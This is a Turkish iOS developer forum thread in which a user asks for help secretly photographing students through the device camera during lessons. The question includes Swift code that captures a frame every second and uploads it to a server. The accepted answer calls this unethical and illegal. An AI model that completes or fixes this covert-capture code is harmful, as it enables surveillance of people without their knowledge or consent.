Hoşgeldin. Soru sormak veya cevaplamak için hemen üye ol.
0 oy
396 kez görüntülendi
ios development kategorisinde tarafından

Yaptıgım ders çalışma uygulmasında öğrenci derslerimi izlerken ders izleyip izlemediğini kontrol etmek için camera açıldığı görünmeden resim çekiyorum. Yaptığım kodlamada tam resmi alırken ben hata meydana geliyor. ELinizde gizli resim çekime kodu varmı (Not zamanla veya ileleme tuşuna bastıkça fark etmez. )

//Tanımlamar
var captureDevice: AVCaptureDevice!
let captureSession = AVCaptureSession()
var previewLayer:CALayer!
var imagesarray = UIImage
var takePhoto = false
var cameraopen = false
var timerr:Timer!

//Kod

func beginSession(){

    do {
        let captureDeviceOutput =  try AVCaptureDeviceInput(device: self.captureDevice)
        captureSession.addInput(captureDeviceOutput)
    } catch {


        print(error.localizedDescription)
    }


    let previewLayer = AVCaptureVideoPreviewLayer(session: captureSession)
    if previewLayer != nil {
        self.previewLayer = previewLayer
        captureSession.startRunning()
        let Dataoutput = AVCaptureVideoDataOutput()
        Dataoutput.videoSettings = [(kCVPixelBufferPixelFormatTypeKey as NSString):NSNumber(value: kCVPixelFormatType_32BGRA)] as [String : Any]
        Dataoutput.alwaysDiscardsLateVideoFrames = true
        if captureSession.canAddOutput(Dataoutput){
            captureSession.addOutput(Dataoutput)
        }
        captureSession.commitConfiguration()
        let queue = DispatchQueue(label: "com.Flyco")
        Dataoutput.setSampleBufferDelegate(self, queue: queue)
    }


}


func stopCaptureSession() {
    self.captureSession.stopRunning()
    if let inputs = captureSession.inputs as? [AVCaptureDeviceInput] {
        for input in inputs {
            self.captureSession.removeInput(input)
        }
    }
}


func getImageFromSampleBuffer(buffer:CMSampleBuffer) -> UIImage? {
    if let pixelbuffer = CMSampleBufferGetImageBuffer(buffer) {
        let ciImge = CIImage(cvPixelBuffer: pixelbuffer)
        let context = CIContext()
        let imagerect = CGRect(x: 0, y: 0, width: CVPixelBufferGetWidth(pixelbuffer), height: CVPixelBufferGetHeight(pixelbuffer))
        if let image = context.createCGImage(ciImge, from: imagerect){
        return UIImage(cgImage: image, scale: UIScreen.main.scale, orientation: .right)
        }
    }


    return nil
}


func captureOutput(_ output: AVCaptureOutput, didOutput sampleBuffer: CMSampleBuffer, from connection: AVCaptureConnection) {


    if takePhoto {
        takePhoto = false
        if let image = self.getImageFromSampleBuffer(buffer: sampleBuffer){
            UIImageWriteToSavedPhotosAlbum(image, nil, nil, nil)
            //Burda Servisi Çağıracağız.
            if let data = UIImageJPEGRepresentation(image, 0.5) {
                requestWith(endUrl: Services.UPDATE_USER_IMAGE, imageData: data)
            }

            imagesarray.append(image)


            print("the images array is \(imagesarray)")
        } else {
            print("resim alınmadı")

        }


    }
}
//Web service is being called
func requestWith(endUrl: String, imageData: Data?){


    let url = endUrl /* your API url */
    // Use Alamofire to upload the image
    Alamofire.upload(
        multipartFormData: { multipartFormData in
            // On the PHP side you can retrive the image using $_FILES["image"]["tmp_name"]
            multipartFormData.append(imageData!, withName: "profile_image", fileName: "user_profile_image\(UUID().hashValue).jpg", mimeType: "image/jpeg")
            /*  for (key, val) in parameters {
             multipartFormData.append(val.data(using: String.Encoding.utf8)!, withName: key)
             } */
    },
        to: url,
        encodingCompletion: { encodingResult in
            switch encodingResult {
            case .success(let upload, _, _):
                upload.responseJSON { response in
                    if let jsonResponse = response.result.value as? [String: Any] {
                        //log olacak
                        if IS_DEBUG_MODE {
                            print(jsonResponse) }
                    }
                }
            case .failure(let encodingError):
                print(encodingError)
            }
    }
    )}




func prepareCamera(){


    //presetten sonra bşka denemelerde yap
    captureSession.sessionPreset = AVCaptureSession.Preset.photo


    if #available(iOS 10.0, *) {
        var availabelDevices = AVCaptureDevice.DiscoverySession(deviceTypes: [.builtInWideAngleCamera], mediaType: AVMediaType.video, position: .back).devices
        if availabelDevices != nil {
            captureDevice = availabelDevices.first!
            beginSession()
    } else {
        print("This is a function of iOS 10 .")
        }
}


}


func camerastart() {
    if !cameraopen {
        imagesarray.removeAll()
        prepareCamera()
        timerr = Timer.scheduledTimer(timeInterval: 1, target: self, selector: #selector(VideoPlayerVC.photo), userInfo: nil, repeats: true)
    } else {
        self.stopCaptureSession()
    }
    cameraopen = !cameraopen
}


@objc func photo(){


    takePhoto = true
}

//Not slayt geçme tuşunda
camerastart() // çalıştırıyorum

//Başka bir tuştada durduruyorum.
stopCaptureSession()

1 cevap

+2 oy
tarafından
tarafından seçilmiş
 
En İyi Cevap

Kullanıcıların fotoğraflarını haberleri olmadan çekmek her anlamda sıkıntılı bir durumdur.
Hem etik, hem de yasal açıdan. Bu şekilde bir uygulamayı yayına sokmak daha sonra hesabınızın kapatılmasına neden olabilir.
Fotoğraf çekme işlemlerine dair paylaştığım örnek bir proje var. Şuradan ulaşabilirsin.

...